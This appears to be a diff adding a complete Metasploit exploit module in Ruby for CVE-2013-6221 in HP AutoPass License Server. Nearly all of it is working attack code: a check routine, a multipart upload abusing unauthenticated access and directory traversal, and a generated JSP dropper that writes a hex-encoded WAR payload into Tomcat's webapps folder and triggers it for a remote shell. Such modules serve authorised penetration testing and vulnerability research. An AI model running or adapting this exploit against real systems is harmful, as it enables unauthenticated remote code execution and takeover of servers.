|
| 1 | +## |
| 2 | +# This module requires Metasploit: http//metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +require 'msf/core' |
| 7 | + |
| 8 | +class Metasploit3 < Msf::Exploit::Remote |
| 9 | + Rank = ExcellentRanking |
| 10 | + |
| 11 | + include Msf::Exploit::Remote::HttpClient |
| 12 | + include Msf::Exploit::FileDropper |
| 13 | + |
| 14 | + def initialize(info = {}) |
| 15 | + super(update_info(info, |
| 16 | + 'Name' => 'HP AutoPass License Server File Upload', |
| 17 | + 'Description' => %q{ |
| 18 | + This module exploits a code execution flaw in HP AutoPass License Server. It abuses two |
| 19 | + weaknesses in order to get its objective. First, the AutoPass application doesn't enforce |
| 20 | + authentication in the CommunicationServlet component. On the other hand, it's possible to |
| 21 | + abuse a directory traversal when uploading files thorough the same component, allowing to |
| 22 | + upload an arbitrary payload embedded in a JSP. The module has been tested successfully on |
| 23 | + HP AutoPass License Server 8.01 as installed with HP Service Virtualization 3.50. |
| 24 | + }, |
| 25 | + 'Author' => |
| 26 | + [ |
| 27 | + 'rgod <rgod[at]autistici.org>', # Vulnerability discovery |
| 28 | + 'juan vazquez' # Metasploit module |
| 29 | + ], |
| 30 | + 'License' => MSF_LICENSE, |
| 31 | + 'References' => |
| 32 | + [ |
| 33 | + ['CVE', '2013-6221'], |
| 34 | + ['ZDI', '14-195'], |
| 35 | + ['BID', '67989'], |
| 36 | + ['URL', 'https://h20566.www2.hp.com/portal/site/hpsc/public/kb/docDisplay/?docId=emr_na-c04333125'] |
| 37 | + ], |
| 38 | + 'Privileged' => true, |
| 39 | + 'Platform' => %w{ java }, |
| 40 | + 'Arch' => ARCH_JAVA, |
| 41 | + 'Targets' => |
| 42 | + [ |
| 43 | + ['HP AutoPass License Server 8.01 / HP Service Virtualization 3.50', {}] |
| 44 | + ], |
| 45 | + 'DefaultTarget' => 0, |
| 46 | + 'DisclosureDate' => 'Jan 10 2014')) |
| 47 | + |
| 48 | + register_options( |
| 49 | + [ |
| 50 | + Opt::RPORT(5814), |
| 51 | + OptString.new('TARGETURI', [true, 'Path to HP AutoPass License Server Application', '/autopass']), |
| 52 | + OptInt.new('INSTALL_DEPTH', [true, 'Traversal Depth to reach the HP AutoPass License Server folder', 4]), |
| 53 | + OptInt.new('WEBAPPS_DEPTH', [true, 'Traversal Depth to reach the Tomcat webapps folder', 1]) |
| 54 | + ], self.class) |
| 55 | + end |
| 56 | + |
| 57 | + |
| 58 | + def check |
| 59 | + check_code = Exploit::CheckCode::Safe |
| 60 | + |
| 61 | + res = send_request_cgi( |
| 62 | + { |
| 63 | + 'uri' => normalize_uri(target_uri.path.to_s, "cs","pdfupload"), |
| 64 | + 'method' => 'POST' |
| 65 | + }) |
| 66 | + |
| 67 | + unless res |
| 68 | + check_code = Exploit::CheckCode::Unknown |
| 69 | + end |
| 70 | + |
| 71 | + if res && res.code == 500 && |
| 72 | + res.body.to_s.include?("HP AutoPass License Server") && |
| 73 | + res.body.to_s.include?("java.lang.NullPointerException") && |
| 74 | + res.body.to_s.include?("com.hp.autopass") |
| 75 | + |
| 76 | + check_code = Exploit::CheckCode::Detected |
| 77 | + end |
| 78 | + |
| 79 | + check_code |
| 80 | + end |
| 81 | + |
| 82 | + def exploit |
| 83 | + app_base = rand_text_alphanumeric(4+rand(32-4)) |
| 84 | + war = payload.encoded_war({ :app_name => app_base }).to_s |
| 85 | + war_filename = "#{app_base}.war" |
| 86 | + |
| 87 | + # By default, the working directory when executing the JSP is: |
| 88 | + # C:\Program Files\HP\HP AutoPass License Server\HP AutoPass License Server\HP AutoPass License Server\bin |
| 89 | + # The war should be dropped to the next location to autodeploy: |
| 90 | + # C:\Program Files\HP\HP AutoPass License Server\HP AutoPass License Server\HP AutoPass License Server\webapps |
| 91 | + war_traversal = webapps_traversal |
| 92 | + war_traversal << "webapps/#{war_filename}" |
| 93 | + dropper = jsp_drop_bin(war, war_traversal) |
| 94 | + dropper_filename = rand_text_alpha(8) + ".jsp" |
| 95 | + |
| 96 | + print_status("#{peer} - Uploading the JSP dropper #{dropper_filename}...") |
| 97 | + # The JSP, by default, is uploaded to: |
| 98 | + # C:\Program Files\HP\HP AutoPass License Server\AutoPass\LicenseServer\conf\pdfiles\ |
| 99 | + # In order to execute it, through the AutoPass application we would like to drop it here: |
| 100 | + # C:\Program Files\HP\HP AutoPass License Server\HP AutoPass License Server\HP AutoPass License Server\webapps\autopass\scripts |
| 101 | + dropper_traversal = install_traversal |
| 102 | + dropper_traversal << "/HP AutoPass License Server/HP AutoPass License Server/webapps/autopass/scripts/#{dropper_filename}" |
| 103 | + res = upload_file(dropper_traversal, dropper) |
| 104 | + |
| 105 | + register_files_for_cleanup("#{webapps_traversal}webapps/autopass/scripts/#{dropper_filename}") |
| 106 | + register_files_for_cleanup("#{webapps_traversal}webapps/#{war_filename}") |
| 107 | + |
| 108 | + unless res && res.code == 500 && |
| 109 | + res.body.to_s.include?("HP AutoPass License Server") && |
| 110 | + res.body.to_s.include?("java.lang.NullPointerException") && |
| 111 | + res.body.to_s.include?("com.hp.autopass") |
| 112 | + |
| 113 | + print_error("#{peer} - Unexpected response... upload maybe failed, trying anyway...") |
| 114 | + end |
| 115 | + |
| 116 | + res = send_request_cgi({ |
| 117 | + 'uri' => normalize_uri(target_uri.path, "scripts", dropper_filename), |
| 118 | + 'method' => 'GET' |
| 119 | + }) |
| 120 | + |
| 121 | + unless res and res.code == 200 |
| 122 | + print_error("#{peer} - Unexpected response after executing the dropper...") |
| 123 | + end |
| 124 | + |
| 125 | + 10.times do |
| 126 | + select(nil, nil, nil, 2) |
| 127 | + |
| 128 | + # Now make a request to trigger the newly deployed war |
| 129 | + print_status("#{peer} - Attempting to launch payload in deployed WAR...") |
| 130 | + res = send_request_cgi( |
| 131 | + { |
| 132 | + 'uri' => normalize_uri(app_base, Rex::Text.rand_text_alpha(rand(8)+8) + ".jsp"), |
| 133 | + 'method' => 'GET' |
| 134 | + }) |
| 135 | + # Failure. The request timed out or the server went away. |
| 136 | + break if res.nil? |
| 137 | + # Success! Triggered the payload, should have a shell incoming |
| 138 | + break if res.code == 200 |
| 139 | + end |
| 140 | + end |
| 141 | + |
| 142 | + def webapps_traversal |
| 143 | + "../" * datastore['WEBAPPS_DEPTH'] |
| 144 | + end |
| 145 | + |
| 146 | + def install_traversal |
| 147 | + "/.." * datastore['INSTALL_DEPTH'] |
| 148 | + end |
| 149 | + |
| 150 | + # Using a JSP dropper because the vulnerability doesn't allow to upload |
| 151 | + # 'binary' files, so a WAR can't be uploaded directly. |
| 152 | + def jsp_drop_bin(bin_data, output_file) |
| 153 | + jspraw = %Q|<%@ page import="java.io.*" %>\n| |
| 154 | + jspraw << %Q|<%\n| |
| 155 | + jspraw << %Q|String data = "#{Rex::Text.to_hex(bin_data, "")}";\n| |
| 156 | + |
| 157 | + jspraw << %Q|FileOutputStream outputstream = new FileOutputStream("#{output_file}");\n| |
| 158 | + |
| 159 | + jspraw << %Q|int numbytes = data.length();\n| |
| 160 | + |
| 161 | + jspraw << %Q|byte[] bytes = new byte[numbytes/2];\n| |
| 162 | + jspraw << %Q|for (int counter = 0; counter < numbytes; counter += 2)\n| |
| 163 | + jspraw << %Q|{\n| |
| 164 | + jspraw << %Q| char char1 = (char) data.charAt(counter);\n| |
| 165 | + jspraw << %Q| char char2 = (char) data.charAt(counter + 1);\n| |
| 166 | + jspraw << %Q| int comb = Character.digit(char1, 16) & 0xff;\n| |
| 167 | + jspraw << %Q| comb <<= 4;\n| |
| 168 | + jspraw << %Q| comb += Character.digit(char2, 16) & 0xff;\n| |
| 169 | + jspraw << %Q| bytes[counter/2] = (byte)comb;\n| |
| 170 | + jspraw << %Q|}\n| |
| 171 | + |
| 172 | + jspraw << %Q|outputstream.write(bytes);\n| |
| 173 | + jspraw << %Q|outputstream.close();\n| |
| 174 | + jspraw << %Q|%>\n| |
| 175 | + |
| 176 | + jspraw |
| 177 | + end |
| 178 | + |
| 179 | + def upload_file(file_name, contents) |
| 180 | + post_data = Rex::MIME::Message.new |
| 181 | + post_data.add_part(contents, "application/octet-stream", nil, "form-data; name=\"uploadedFile\"; filename=\"#{file_name}\"") |
| 182 | + |
| 183 | + data = post_data.to_s |
| 184 | + |
| 185 | + res = send_request_cgi( |
| 186 | + { |
| 187 | + 'uri' => normalize_uri(target_uri.path.to_s, "cs","pdfupload"), |
| 188 | + 'method' => 'POST', |
| 189 | + 'data' => data, |
| 190 | + 'ctype' => "multipart/form-data; boundary=#{post_data.bound}" |
| 191 | + }) |
| 192 | + |
| 193 | + res |
| 194 | + end |
| 195 | + |
| 196 | +end |
0 commit comments